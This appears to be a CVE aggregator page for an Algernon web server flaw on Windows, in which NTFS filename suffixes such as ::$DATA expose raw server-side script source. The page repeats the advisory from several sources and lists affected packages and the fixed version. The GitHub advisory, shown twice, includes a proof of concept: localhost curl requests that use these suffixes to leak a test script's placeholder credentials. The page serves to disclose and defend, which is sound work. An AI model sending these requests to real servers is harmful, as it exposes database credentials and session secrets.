Every CVE Search/ Get API key

CVE-2026-52792

Algernon: Server-side script source disclosure on Windows via NTFS filename

8.7 HighFix available

Algernon is a small self-contained pure-Go web server. Prior to 1.17.9, Algernon on Windows selects a file handler in engine/handlers.go by calling filepath.Ext() without first rejecting NTFS-equivalent names such as x.lua::$DATA, x.lua., and x.lua . An unauthenticated client can append one of these suffixes to a public server-side script using the .lua, .tl, .po2, .amber, or .frm extension. The request path passes through URL2filename in utils/files.go, skips the renderer and execution cases, and reaches FilePage, os.Open, ReadAndLogErrors, and ToClient, while NTFS resolves the alias to the underlying script. The server consequently returns raw script source and can expose database credentials, API keys, and the SetCookieSecret value, which may permit forged session cookies. Linux and macOS hosts are not affected by this issue. This issue is fixed in version 1.17.9.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.63%Up 0.6 points since Jun 12, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.7

Algernon: Server-side script source disclosure on Windows via NTFS filename

Algernon is a small self-contained pure-Go web server. Prior to 1.17.9, Algernon on Windows selects a file handler in engine/handlers.go by calling filepath.Ext() without first rejecting NTFS-equivalent names such as x.lua::$DATA, x.lua., and x.lua . An unauthenticated client can append one of these suffixes to a public server-side script using the .lua, .tl, .po2, .amber, or .frm extension. The request path passes through URL2filename in utils/files.go, skips the renderer and execution cases, and reaches FilePage, os.Open, ReadAndLogErrors, and ToClient, while NTFS resolves the alias to the underlying script. The server consequently returns raw script source and can expose database credentials, API keys, and the SetCookieSecret value, which may permit forged session cookies. Linux and macOS hosts are not affected by this issue. This issue is fixed in version 1.17.9.

Record
CVE-2026-52792
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-69
Updated
2026-11-02
EUVDEUVD-2026-62506 8.7

Algernon is a small self-contained pure-Go web server. Prior to 1.17.9, Algernon on Windows selects a file handler in engine/handlers.go by calling filepath.Ext() without first rejecting NTFS-equivalent names such as x.lua::$DATA, x.lua., and x.lua . An unauthenticated client can append one of these suffixes to a public server-side script using the .lua, .tl, .po2, .amber, or .frm extension. The request path passes through URL2filename in utils/files.go, skips the renderer and execution cases, and reaches FilePage, os.Open, ReadAndLogErrors, and ToClient, while NTFS resolves the alias to the underlying script. The server consequently returns raw script source and can expose database credentials, API keys, and the SetCookieSecret value, which may permit forged session cookies. Linux and macOS hosts are not affected by this issue. This issue is fixed in version 1.17.9.

Record
EUVD-2026-62506
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-mm6c-5j6x-hq8m 8.7

Algernon vulnerable to server-side script source disclosure on Windows via NTFS filename

Summary

Algernon selects its file handler from filepath.Ext() (engine/handlers.go:134), which does not treat the NTFS-equivalent names x.lua::$DATA, x.lua., or x.lua as .lua. On Windows, an unauthenticated client appends one of these suffixes to any server-side script on a public path and receives its raw source instead of executed output, leaking embedded secrets such as database credentials and the SetCookieSecret value.

Linux and macOS hosts are unaffected.

Preconditions

  • Algernon runs on a Windows host (NTFS filesystem).
  • The instance serves at least one server-side script (.lua, .tl, .po2, .amber, .frm).
  • The script sits on a public path, or no auth backend is configured (--nodb, --simple, or default no-DB).
  • HTTP/HTTPS reachability to the server.

Details

// engine/handlers.go:133
lowercaseFilename := strings.ToLower(filename)
ext := filepath.Ext(lowercaseFilename) // "index.lua::$data" -> ".lua::$data", not ".lua"  [offending]
...
if ac.dispatchRenderer(w, req, filename, ext) { // ext unrecognised, returns false
    return
}
switch ext {
case ".lua", ".tl": // execute the script -- never reached for the equivalent forms
    // ... RunLua ...
default:
    // control reaches the raw-file branch below
}

// engine/handlers.go:452
f, err := os.Open(filename) // NTFS resolves "index.lua::$DATA" to index.lua's data stream
...
// engine/handlers.go:479
if dataBlock, err := ac.ReadAndLogErrors(w, filename, ext); err == nil {
    dataBlock.ToClient(w, req, filename, ac.ClientCanGzip(req), gzipThreshold) // raw source to client
}

The request path reaches FilePage through URL2filename (utils/files.go:24), which rejects only ..; a :, a trailing ., and a trailing space all pass through into filename. filepath.Ext does an exact suffix match, so .lua::$data, ., and .lua are not equal to .lua or .tl. The renderer registry and the execute case are both skipped and control falls to the default branch.

The default branch opens filename with os.Open and streams the bytes verbatim. On Windows, NTFS canonicalises the alternate-data-stream suffix ::$DATA, a trailing dot, and a trailing space back to the underlying file, so the bytes returned are the real script source. The missing check: Algernon never rejects or canonicalises Windows-equivalent filenames before choosing a handler.

Proof of concept

Setup

  1. Build Algernon from source on a Windows host:

    git clone https://github.com/xyproto/algernon
cd algernon
git checkout v1.17.8
go build -o algernon.exe .

  2. Create a web root with a script that embeds secrets, exactly as a real handler would:

    New-Item -ItemType Directory webroot | Out-Null
Set-Content webroot\index.lua @'
-- db = POSTGRES("postgres://app:S3cr3t@db/prod")
SetCookieSecret("hardcoded-session-key")
print("<h1>hello</h1>")
'@

  3. Serve the directory over plain HTTP with no auth backend (run in its own window):

    .\algernon.exe --httponly --noninteractive --nodb --addr ':8088' --dir .\webroot

Exploit

  1. Request the script normally. It executes, and the source is not disclosed:

    curl.exe -s http://127.0.0.1:8088/index.lua

    Expected: <h1>hello</h1>. The DSN and cookie secret are absent from the response.

  2. Request the same script through its NTFS ::$DATA stream. Algernon returns the raw source:

    curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua::$DATA'

    Expected: HTTP 200, Content-Type: application/octet-stream, body is the verbatim Lua source including SetCookieSecret("hardcoded-session-key") and the Postgres DSN.

  3. The trailing-dot and trailing-space forms leak the same source:

    curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua.'
curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua%20'

…

Record
GHSA-mm6c-5j6x-hq8m
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-69
Updated
2026-11-02
NVD 8.7

Algernon is a small self-contained pure-Go web server. Prior to 1.17.9, Algernon on Windows selects a file handler in engine/handlers.go by calling filepath.Ext() without first rejecting NTFS-equivalent names such as x.lua::$DATA, x.lua., and x.lua . An unauthenticated client can append one of these suffixes to a public server-side script using the .lua, .tl, .po2, .amber, or .frm extension. The request path passes through URL2filename in utils/files.go, skips the renderer and execution cases, and reaches FilePage, os.Open, ReadAndLogErrors, and ToClient, while NTFS resolves the alias to the underlying script. The server consequently returns raw script source and can expose database credentials, API keys, and the SetCookieSecret value, which may permit forged session cookies. Linux and macOS hosts are not affected by this issue. This issue is fixed in version 1.17.9.

Record
CVE-2026-52792
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness
CWE-69
Updated
2026-11-02
OSV 8.7

Algernon: Server-side script source disclosure on Windows via NTFS filename

Algernon is a small self-contained pure-Go web server. Prior to 1.17.9, Algernon on Windows selects a file handler in engine/handlers.go by calling filepath.Ext() without first rejecting NTFS-equivalent names such as x.lua::$DATA, x.lua., and x.lua . An unauthenticated client can append one of these suffixes to a public server-side script using the .lua, .tl, .po2, .amber, or .frm extension. The request path passes through URL2filename in utils/files.go, skips the renderer and execution cases, and reaches FilePage, os.Open, ReadAndLogErrors, and ToClient, while NTFS resolves the alias to the underlying script. The server consequently returns raw script source and can expose database credentials, API keys, and the SetCookieSecret value, which may permit forged session cookies. Linux and macOS hosts are not affected by this issue. This issue is fixed in version 1.17.9.

Record
CVE-2026-52792
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-69
Updated
2026-11-02
OSVGHSA-mm6c-5j6x-hq8m 8.7

Algernon vulnerable to server-side script source disclosure on Windows via NTFS filename

Summary

Algernon selects its file handler from filepath.Ext() (engine/handlers.go:134), which does not treat the NTFS-equivalent names x.lua::$DATA, x.lua., or x.lua as .lua. On Windows, an unauthenticated client appends one of these suffixes to any server-side script on a public path and receives its raw source instead of executed output, leaking embedded secrets such as database credentials and the SetCookieSecret value.

Linux and macOS hosts are unaffected.

Preconditions

  • Algernon runs on a Windows host (NTFS filesystem).
  • The instance serves at least one server-side script (.lua, .tl, .po2, .amber, .frm).
  • The script sits on a public path, or no auth backend is configured (--nodb, --simple, or default no-DB).
  • HTTP/HTTPS reachability to the server.

Details

// engine/handlers.go:133
lowercaseFilename := strings.ToLower(filename)
ext := filepath.Ext(lowercaseFilename) // "index.lua::$data" -> ".lua::$data", not ".lua"  [offending]
...
if ac.dispatchRenderer(w, req, filename, ext) { // ext unrecognised, returns false
    return
}
switch ext {
case ".lua", ".tl": // execute the script -- never reached for the equivalent forms
    // ... RunLua ...
default:
    // control reaches the raw-file branch below
}

// engine/handlers.go:452
f, err := os.Open(filename) // NTFS resolves "index.lua::$DATA" to index.lua's data stream
...
// engine/handlers.go:479
if dataBlock, err := ac.ReadAndLogErrors(w, filename, ext); err == nil {
    dataBlock.ToClient(w, req, filename, ac.ClientCanGzip(req), gzipThreshold) // raw source to client
}

The request path reaches FilePage through URL2filename (utils/files.go:24), which rejects only ..; a :, a trailing ., and a trailing space all pass through into filename. filepath.Ext does an exact suffix match, so .lua::$data, ., and .lua are not equal to .lua or .tl. The renderer registry and the execute case are both skipped and control falls to the default branch.

The default branch opens filename with os.Open and streams the bytes verbatim. On Windows, NTFS canonicalises the alternate-data-stream suffix ::$DATA, a trailing dot, and a trailing space back to the underlying file, so the bytes returned are the real script source. The missing check: Algernon never rejects or canonicalises Windows-equivalent filenames before choosing a handler.

Proof of concept

Setup

  1. Build Algernon from source on a Windows host:

    git clone https://github.com/xyproto/algernon
cd algernon
git checkout v1.17.8
go build -o algernon.exe .

  2. Create a web root with a script that embeds secrets, exactly as a real handler would:

    New-Item -ItemType Directory webroot | Out-Null
Set-Content webroot\index.lua @'
-- db = POSTGRES("postgres://app:S3cr3t@db/prod")
SetCookieSecret("hardcoded-session-key")
print("<h1>hello</h1>")
'@

  3. Serve the directory over plain HTTP with no auth backend (run in its own window):

    .\algernon.exe --httponly --noninteractive --nodb --addr ':8088' --dir .\webroot

Exploit

  1. Request the script normally. It executes, and the source is not disclosed:

    curl.exe -s http://127.0.0.1:8088/index.lua

    Expected: <h1>hello</h1>. The DSN and cookie secret are absent from the response.

  2. Request the same script through its NTFS ::$DATA stream. Algernon returns the raw source:

    curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua::$DATA'

    Expected: HTTP 200, Content-Type: application/octet-stream, body is the verbatim Lua source including SetCookieSecret("hardcoded-session-key") and the Postgres DSN.

  3. The trailing-dot and trailing-space forms leak the same source:

    curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua.'
curl.exe -s --path-as-is 'http://127.0.0.1:8088/index.lua%20'

…

Record
GHSA-mm6c-5j6x-hq8m
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
Weakness
CWE-69
Updated
2026-11-02
OSVGO-2026-5903 No score

Algernon vulnerable to server-side script source disclosure on Windows via NTFS filename in github.com/xyproto/algernon

Algernon vulnerable to server-side script source disclosure on Windows via NTFS filename in github.com/xyproto/algernon

Record
GO-2026-5903
Updated
2026-11-02
OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

  • Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

  • GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
  • GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
  • GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
  • GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
  • GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
  • GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
  • GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
  • GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
  • GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
  • GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
  • GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
  • GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
  • GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
  • GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
  • GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
  • GO-2026-5933 GHSA-3g4q-2f67-2gvh
  • GO-2026-5934 GHSA-59qp-cfj3-rp64
  • GO-2026-5935 GHSA-7856-g3gv-9wq8
  • GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
  • GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
  • GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
  • GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
  • GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
  • GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
  • GO-2026-5942 CVE-2026-46600
  • GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
  • GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
  • GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
  • GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
  • GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
  • GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
  • GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
  • GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
  • GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
  • GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
  • GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
  • GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
  • GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
  • GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
  • GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
  • GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
  • GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
  • GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
  • GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
  • GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
  • GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
  • GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
  • GO-2026-5969 GHSA-g936-7jqj-mwv8
  • GO-2026-5970 CVE-2026-56852
  • GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
  • GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
  • GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
  • GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
  • GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
  • GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
  • GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
  • GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
  • GO-2026-5981 GHSA-mqxv-9rm6-w8qc
  • GO-2026-5982 GHSA-pqg7-v6wh-3pfp
  • GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
  • GO-2026-5985 GHSA-7rx3-5wx3-5v76
  • GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
  • GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
  • GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
  • GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
  • GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
  • GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
  • GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
  • GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
  • GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
  • GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
  • GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
  • GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
  • GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
  • GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
  • GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
  • GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…
Record
openSUSE-SU-2026:21483-1
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
github.com/xyproto/algernon
Go
 through 1.17.8
1.17.9
github.com/xyproto/algernon
Go
 before 1.17.9
1.17.9
govulncheck-vulndb
openSUSE:Leap 16.0
From an advisory covering 1734 CVEs
 before 0.0.20260723T184607-160000.1.1
0.0.20260723T184607-160000.1.1

History

History
RecordedChangedSources
affected, facts
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-52792 is a high vulnerability (CVSS 8.7) in Xyproto Algernon, published July 2, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.63%, the 50th percentile. Fixed in github.com/xyproto/algernon 1.17.9.

References

Show 194 moreShow less
This page doesn't list everything

Left out here: 1,541 references and the rest of 3 source descriptions. The JSON record has them.

Pages All vulnerabilities Browse Docs Sources Guide Get API key
MoveEnter Open